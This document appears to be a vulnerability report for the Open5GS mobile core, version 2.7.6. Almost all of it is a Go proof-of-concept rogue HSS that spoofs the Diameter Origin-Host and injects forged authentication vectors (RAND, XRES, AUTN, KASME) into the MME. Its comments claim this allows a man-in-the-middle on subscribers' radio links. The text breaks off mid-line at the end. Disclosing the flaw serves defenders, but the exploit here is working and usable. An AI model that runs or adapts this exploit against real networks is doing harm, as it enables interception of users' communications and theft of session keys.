| Description | ### Open5GS Release, Revision, or Tag
v2.7.6
### Steps to reproduce
1. Start the rogue HSS PoC
`go run ./main.go -listen 10.44.44.10:3868`
PoC
```
// PoC: MME S6a AIA Origin-Host Validation Bypass
//
// Vulnerability: mme_s6a_aia_cb (src/mme/mme-fd-path.c:883)
// The MME checks that Origin-Host AVP *exists* in the AIA, but never
// validates its *value* against the HSS the AIR was sent to.
// A rogue Diameter server (or MITM) can inject forged authentication
// vectors (RAND, XRES, AUTN, KASME) into the MME.
//
// Attack impact:
// - Attacker controls XRES → can predict the auth response
// - Attacker controls KASME → can derive all session keys (K_eNB, K_NASint, K_NASenc)
// - Result: full MITM on the radio link for any UE
//
// How to test:
// 1. Stop the real HSS: docker stop <hss-container>
// 2. Run rogue HSS: go run main.go -listen 10.44.44.10:3868
// 3. Trigger UE attach (e.g., restart srsUE or send IMSI attach)
// 4. Observe: MME accepts forged auth vectors from "evil-hss.attacker.com"
package main
import (
"encoding/hex"
"flag"
"log"
"strings"
"github.com/fiorix/go-diameter/v4/diam"
"github.com/fiorix/go-diameter/v4/diam/avp"
"github.com/fiorix/go-diameter/v4/diam/datatype"
"github.com/fiorix/go-diameter/v4/diam/dict"
"github.com/fiorix/go-diameter/v4/diam/sm"
)
const (
S6AApplicationID uint32 = 16777251
VendorID3GPP uint32 = 10415
AIRCommandCode uint32 = 318
// S6a AVP codes (3GPP TS 29.272)
ReqEUTRANAuthInfoAVP uint32 = 1408
AuthenticationInfoAVP uint32 = 1413
EUTRANVectorAVP uint32 = 1414
XRESAVP uint32 = 1448
ItemNumberAVP uint32 = 1419 // Mandatory in E-UTRAN-Vector
RANDAVP uint32 = 1447
AUTN_AVP uint32 = 1449
KASMEAVP uint32 = 1450
)
var (
flagListen string
flagOriginHost string
flagOriginRealm string
flagEvilRAND string
flagEvilXRES string
flagEvilAUTN string
flagEvilKASME string
)
func init() {
flag.StringVar(&flagListen, "listen", "10.44.44.10:3868",
"Listen address (should be the real HSS address)")
flag.StringVar(&flagOriginHost, "origin-host", "evil-hss.attacker.com",
"Spoofed Origin-Host in AIA (MME should reject this, but doesn't)")
flag.StringVar(&flagOriginRealm, "origin-realm", "attacker.com",
"Spoofed Origin-Realm in AIA")
// Default: all-zeros vectors (obviously forged)
flag.StringVar(&flagEvilRAND, "rand", "",
"Forged RAND (32 hex chars). Default: all 0x41 ('AAA...')")
flag.StringVar(&flagEvilXRES, "xres", "",
"Forged XRES (16 hex chars). Default: all 0x42 ('BBB...')")
flag.StringVar(&flagEvilAUTN, "autn", "",
"Forged AUTN (32 hex chars). Default: all 0x43 ('CCC...')")
flag.StringVar(&flagEvilKASME, "kasme", "",
"Forged KASME (64 hex chars). Default: all 0x44 ('DDD...')")
}
func main() {
flag.Parse()
log.SetFlags(log.Ltime | log.Lmicroseconds)
log.Printf("[*] PoC: Rogue HSS — MME S6a AIA Origin-Host bypass")
log.Printf("[*] Listening on %s", flagListen)
log.Printf("[*] Spoofed Origin-Host: %s", flagOriginHost)
log.Printf("[*] MME will accept auth vectors from this identity (no validation)")
// Prepare forged auth vectors
evilRAND := parseHexOrDefault(flagEvilRAND, 16, 0x41)
evilXRES := parseHexOrDefault(flagEvilXRES, 8, 0x42)
evilAUTN := parseHexOrDefault(flagEvilAUTN, 16, 0x43)
evilKASME := parseHexOrDefault(flagEvilKASME, 32, 0x44)
log.Printf("[*] Forged RAND: %s", hex.EncodeToString(evilRAND))
log.Printf("[*] Forged XRES: %s", hex.EncodeToString(evilXRES))
log.Printf("[*] Forged AUTN: %s", hex.EncodeToString(evilAUTN))
log.Printf("[*] Forged KASME: %s", hex.EncodeToString(evilKASME))
// ---------------------------------------------------------------
// Set up Diameter server (pretend to be HSS)
// ---------------------------------------------------------------
// Use hss.localdomain so CER/CEA succeeds with MME
cfg := &sm.Settings{
OriginHost: datatype.DiameterIdentity("hss.localdomain"),
OriginRealm: datatype.DiameterIdentity("localdomain"),
VendorID: datatype.Unsigned32(VendorID3GPP),
ProductName: datatype.UTF8String("rogue-hss-poc"),
OriginStateID: datatype.Unsigned32(1),
FirmwareRevision: datatype.Unsigned32(1),
}
mux := sm.New(cfg)
// Handle CER from MME (state machine does this automatically)
mux.HandleFunc("CER", func(c diam.Conn, m *diam.Message) {
log.Printf("[+] Received CER from %s", c.RemoteAddr())
// sm.New handles CEA automatically
})
// Handle AIR — this is where we inject forged auth vectors
mux.HandleFunc("ALL", handleAIR(evilRAND, evilXRES, evilAUTN, evilKASME))
// ---------------------------------------------------------------
// Start listening
// ---------------------------------------------------------------
log.Printf("[*] Waiting for MME to connect...")
log.Printf("[*] (Make sure real HSS is stopped: docker stop <hss-container>)")
parts := strings.SplitN(flagListen, ":", 2)
addr := flagListen
if len(parts) == 2 && parts[1] == "" {
addr = parts[0] + ":3868"
}
err := diam.ListenAndServeTLS(addr, "", "", mux, dict.Default)
if err != nil {
// Try non-TLS
log.Printf("[*] TLS listen failed (%v), trying plain TCP...", err)
err = diam.ListenAndServe(addr, mux, dict.Default)
if err != nil {
log.Fatalf("[-] Failed to start server: %v", err)
}
}
}
// handleAIR returns a handler that responds to AIR with forged AIA.
func handleAIR(evilRAND, evilXRES, evilAUTN, evilKASME []byte) diam.HandlerFunc {
return func(c diam.Conn, m *diam.Message) {
// Only handle AIR (command code 318, request bit set)
if m.Header.CommandCode != AIRCommandCode {
return
}
if m.Header.CommandFlags&0x80 == 0 {
// Answer bit not set = this is a request... wait, 0x80 is the R bit
// R=1 means Request. If R=0, it's an Answer. We want requests.
return
}
log.Printf("[+] ============================================")
log.Printf("[+] Received AIR from MME (%s)", c.RemoteAddr())
// Extract IMSI from User-Name AVP
imsi := extractUserName(m)
log.Printf("[+] Target IMSI: %s", imsi)
log.Printf("[+] Sending forged AIA with Origin-Host: %s", flagOriginHost)
// Debug: dump all AVP codes from incoming AIR
log.Printf("[+] AIR has %d AVPs:", len(m.AVP))
for i, a := range m.AVP {
log.Printf("[+] AVP[%d]: code=%d vendor=%d data_type=%T", i, a.Code, a.VendorID, a.Data)
}
// Extract Session-Id from incoming AIR (must echo it back)
var sessionID string
for _, a := range m.AVP {
if a.Code == 263 { // Session-Id
// Use Serialize() to get raw bytes, NOT String() which wraps in "UTF8String{...}"
sessionID = string(a.Data.Serialize())
break
}
}
if sessionID == "" {
// Fallback: construct a Session-Id (PoC — just needs to be non-empty)
sessionID = "hss.localdomain;0;0;rogue-aia"
log.Printf("[!] Session-Id NOT found in AIR, using fallback: %s", sessionID)
} else {
log.Printf("[+] Session-Id from AIR: %q", sessionID)
}
// Build AIA (answer) — m.Answer adds Result-Code as first AVP
ans := m.Answer(diam.Success)
// Session-Id MUST be the first AVP per RFC 6733 §6.2
sessionAVP := diam.NewAVP(avp.SessionID, avp.Mbit, 0,
datatype.UTF8String(sessionID))
log.Printf("[+] Session-Id AVP len=%d", sessionAVP.Len())
ans.InsertAVP(sessionAVP)
log.Printf("[+] AIA message has %d AVPs, MessageLength=%d",
len(ans.AVP), ans.Header.MessageLength)
// Origin-Host — THE CRUX: we use evil identity, MME won't check
ans.NewAVP(avp.OriginHost, avp.Mbit, 0,
datatype.DiameterIdentity(flagOriginHost))
// Origin-Realm — also spoofed
ans.NewAVP(avp.OriginRealm, avp.Mbit, 0,
datatype.DiameterIdentity(flagOriginRealm))
// Auth-Session-State = NO_STATE_MAINTAINED (1)
ans.NewAVP(avp.AuthSessionState, avp.Mbit, 0, datatype.Enumerated(1))
// Vendor-Specific-Application-Id
vsai := &diam.GroupedAVP{
AVP: []*diam.AVP{
diam.NewAVP(avp.VendorID, avp.Mbit, 0, datatype.Unsigned32(VendorID3GPP)),
diam.NewAVP(avp.AuthApplicationID, avp.Mbit, 0, datatype.Unsigned32(S6AApplicationID)),
},
}
ans.NewAVP(avp.VendorSpecificApplicationID, avp.Mbit, 0, vsai)
// Authentication-Info → E-UTRAN-Vector → { Item-Number, RAND, XRES, AUTN, KASME }
eutranVector := &diam.GroupedAVP{
AVP: []*diam.AVP{
diam.NewAVP(ItemNumberAVP, avp.Mbit|avp.Vbit, VendorID3GPP,
datatype.Unsigned32(1)),
diam.NewAVP(RANDAVP, avp.Mbit|avp.Vbit, VendorID3GPP,
datatype.OctetString(evilRAND)),
diam.NewAVP(XRESAVP, avp.Mbit|avp.Vbit, VendorID3GPP,
datatype.OctetString(evilXRES)),
diam.NewAVP(AUTN_AVP, avp.Mbit|avp.Vbit, VendorID3GPP,
datatype.OctetString(evilAUTN)),
diam.NewAVP(KASMEAVP, avp.Mbit|avp.Vbit, VendorID3GPP,
datatype.OctetString(evilKASME)),
},
}
authInfo := &diam.GroupedAVP{
AVP: []*diam.AVP{
diam.NewAVP(EUTRANVectorAVP, avp.Mbit|avp.Vbit, VendorID3GPP, eutranVector),
},
}
ans.NewAVP(AuthenticationInfoAVP, avp.Mbit|avp.Vbit, VendorID3GPP, authInfo)
// Send the forged AIA
if _, err := ans.WriteTo(c); err != nil {
log.Printf("[-] Failed to send AIA: %v", err)
return
}
log.Printf("[!] FORGED AIA SENT SUCCESSFULLY")
log.Printf("[!] Origin-Host: %s (should be hss.localdomain)", flagOriginHost)
log.Printf("[!] RAND: %s", hex.EncodeToString(evilRAND))
log.Printf("[!] XRES: %s ← attacker knows this", hex.EncodeToString(evilXRES))
log.Printf("[!] AUTN: %s", hex.EncodeToString(evilAUTN))
log.Printf("[!] KASME: %s ← attacker can derive all session keys",
hex.EncodeToString(evilKASME))
log.Printf("[!]")
log.Printf("[!] If MME accepts this → VULN CONFIRM |
|---|